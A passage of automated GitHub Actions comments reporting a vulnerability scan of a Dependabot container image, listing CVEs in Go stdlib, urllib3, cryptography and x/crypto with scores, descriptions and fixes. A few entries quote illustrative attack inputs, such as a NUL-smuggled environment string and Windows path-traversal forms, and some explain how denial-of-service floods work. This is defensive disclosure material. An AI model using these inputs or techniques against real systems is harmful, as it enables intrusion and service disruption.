        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
